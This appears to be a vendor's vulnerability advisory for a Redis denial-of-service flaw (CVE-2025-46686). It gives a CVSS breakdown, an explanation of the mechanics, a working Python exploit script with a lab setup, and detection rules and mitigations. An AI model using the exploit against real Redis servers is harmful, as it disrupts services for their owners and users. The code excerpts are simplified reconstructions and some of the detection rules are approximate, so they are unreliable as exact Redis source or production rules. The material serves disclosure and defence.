CVE-2025-46686
Executive Summary
CVE-2025-46686 is a denial-of-service (DoS) vulnerability in Redis, affecting versions through 8.0.3. An authenticated attacker can cause excessive memory consumption by sending a multi-bulk command composed of many bulks. The server allocates memory for the command arguments of every bulk, even when the command is skipped due to insufficient permissions. This allows a low-privileged user to exhaust server memory, leading to service disruption. The Redis supplier disputes this as a security issue, arguing that abuse of the commands network protocol is not a violation of the Redis Security Model. However, from a DevSecOps perspective, this represents a resource exhaustion risk that should be mitigated.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): Low (L) – attacker needs valid credentials.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – impact stays within the vulnerable component.
- Confidentiality (C): None (N) – no data exposure.
- Integrity (I): None (N) – no data modification.
- Availability (A): Low (L) – memory exhaustion can cause service degradation or crash.
Threat Level: Low. The vulnerability requires authentication and only impacts availability. However, in multi-tenant environments or where Redis is used as a critical cache, this could be leveraged for resource starvation.
Deep Dive & Mechanics
The vulnerability lies in how Redis handles multi-bulk commands (e.g., MSET, MGET, or custom commands with many arguments). When a client sends a multi-bulk command, Redis parses the protocol and allocates memory for each bulk argument before checking permissions. If the user lacks permissions to execute the command, Redis still retains the allocated memory until the connection is closed or the command is fully processed. By sending a command with an extremely large number of bulks (e.g., 10,000+), an authenticated low-privileged user can cause Redis to allocate significant memory, potentially exhausting available RAM and causing the server to crash or become unresponsive.
Key technical points:
- The allocation happens in the
readQueryFromClientfunction, which reads the command from the socket and parses it into an array of strings. - Permission checks occur later in
processCommand, after the entire command is parsed and memory is allocated. - The attacker does not need to send large data per bulk; even empty bulks count toward the allocation overhead.
- This is a classic resource exhaustion via uncontrolled memory allocation (CWE-400).
Vulnerable vs. Patched Code
Vulnerable Code (Redis <= 8.0.3):
// In networking.c - readQueryFromClient
void readQueryFromClient(aeEventLoop *el, int fd, void *privdata, int mask) {
// ... read data from socket ...
// Parse multi-bulk command
int argc = 0;
robj **argv = NULL;
// Allocate memory for each argument
while (/* parsing bulks */) {
argv = zrealloc(argv, sizeof(robj*) * (argc+1));
argv[argc] = createStringObject(...);
argc++;
}
// Permission check happens later in processCommand
if (processCommand(c) == C_ERR) {
// Memory already allocated, but not freed until connection close
}
}
Patched Code (Hypothetical fix):
// In networking.c - readQueryFromClient
void readQueryFromClient(aeEventLoop *el, int fd, void *privdata, int mask) {
// ... read data from socket ...
// First, check if the command is allowed for this user
if (!checkCommandPermissions(c)) {
// Reject early without allocating memory for arguments
addReplyError(c, "NOAUTH Authentication required.");
return;
}
// Parse multi-bulk command only after permission check
int argc = 0;
robj **argv = NULL;
while (/* parsing bulks */) {
argv = zrealloc(argv, sizeof(robj*) * (argc+1));
argv[argc] = createStringObject(...);
argc++;
}
// Process command
processCommand(c);
}
Note: No official patch has been released as of this analysis. The above is a conceptual fix.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Valid Redis credentials (e.g.,
defaultuser with no permissions). - Network access to Redis port (default 6379).
Exploit Steps:
- Connect to Redis using
redis-clior a custom script. - Authenticate with low-privileged credentials.
- Send a multi-bulk command with a large number of bulks (e.g., 100,000 empty strings).
- Monitor memory consumption on the target server.
Example using Python:
import socket
def exploit(host, port, password):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# Authenticate
sock.send(b"AUTH " + password.encode() + b"\r\n")
sock.recv(1024)
# Build multi-bulk command with 100,000 bulks
payload = b"*100000\r\n"
for _ in range(100000):
payload += b"$0\r\n\r\n"
sock.send(payload)
# Wait for memory exhaustion
sock.close()
exploit("192.168.1.100", 6379, "weakpassword")
Expected Outcome: Redis memory usage spikes, potentially causing OOM killer to terminate the process or severe performance degradation.
Blue Team (Defender)
Detection:
- Monitor Redis memory usage via
INFO memorycommand. - Set alerts for unusual memory growth rates.
- Monitor for commands with excessive argument counts in logs.
Mitigation:
- Restrict network access to Redis (firewall rules).
- Use strong authentication and avoid sharing credentials.
- Implement rate limiting on connections and commands.
- Consider using Redis ACLs to restrict command execution for low-privilege users.
Lab Setup for Testing:
# Start a vulnerable Redis instance
docker run -d --name redis-vuln -p 6379:6379 redis:8.0.3 redis-server --requirepass testpass
# Monitor memory
docker stats redis-vuln
# Run exploit script against it
python exploit.py 127.0.0.1 6379 testpass
Indicators of Compromise (IOCs)
- Network: High volume of multi-bulk commands (e.g.,
*100000\r\n) from a single client. - System: Redis process memory usage exceeding normal thresholds (e.g., >90% of allocated RAM).
- Logs: Redis logs showing repeated
-ERRresponses for permission-denied commands followed by connection resets. - Performance: Sudden increase in Redis response times or connection timeouts.
Example log entry:
[12345] 01 Jan 12:00:00.123 # Possible memory exhaustion: client 192.168.1.100 sent multi-bulk command with 100000 arguments
Detection Engineering
YARA Rule
rule CVE_2025_46686_Redis_Memory_Exhaustion {
meta:
description = "Detects Redis multi-bulk commands with excessive argument count"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-46686"
strings:
$multi_bulk = /\*[0-9]{5,}\r\n/ // Matches * followed by 5+ digits
$empty_bulk = /\$0\r\n\r\n/
condition:
#multi_bulk > 0 and #empty_bulk > 1000
}
Sigma Rule
title: Redis Multi-Bulk Command Memory Exhaustion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-46686 by sending multi-bulk commands with many arguments
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: redis
detection:
selection:
event: "command"
command: "*"
arg_count: ">=10000"
condition: selection
falsepositives:
- Legitimate bulk operations with many keys (e.g., MSET with 10k keys)
level: medium
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"CVE-2025-46686 Redis Multi-Bulk Memory Exhaustion Attempt"; flow:to_server,established; content:"*"; depth:1; content:"|0d 0a|"; within:100; byte_test:1,>,100,0; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Redis to a patched version when available (check official Redis releases).
- Apply network restrictions – use firewalls to limit access to Redis port 6379 to trusted IPs only.
- Enable Redis ACLs – restrict command execution for low-privilege users (e.g., deny
MSET,MGETfor non-admin users). - Set memory limits – configure
maxmemoryin Redis to prevent total system exhaustion. - Monitor and alert – use the provided detection rules to identify exploitation attempts.
Long-term Hardening:
- Implement connection rate limiting (e.g., using
iptablesor Redisclient-output-buffer-limit). - Use Redis in a containerized environment with resource limits (e.g., Docker
--memory). - Regularly audit Redis logs for unusual command patterns.
- Consider using Redis Sentinel or Cluster for high availability to mitigate single-node DoS.
Workaround (if patching is not possible):
- Disable multi-bulk commands for non-admin users via ACL rules:
ACL SETUSER lowprivuser -@dangerous - Or, use a reverse proxy (e.g., HAProxy) to inspect and reject commands with excessive argument counts.
Valters IT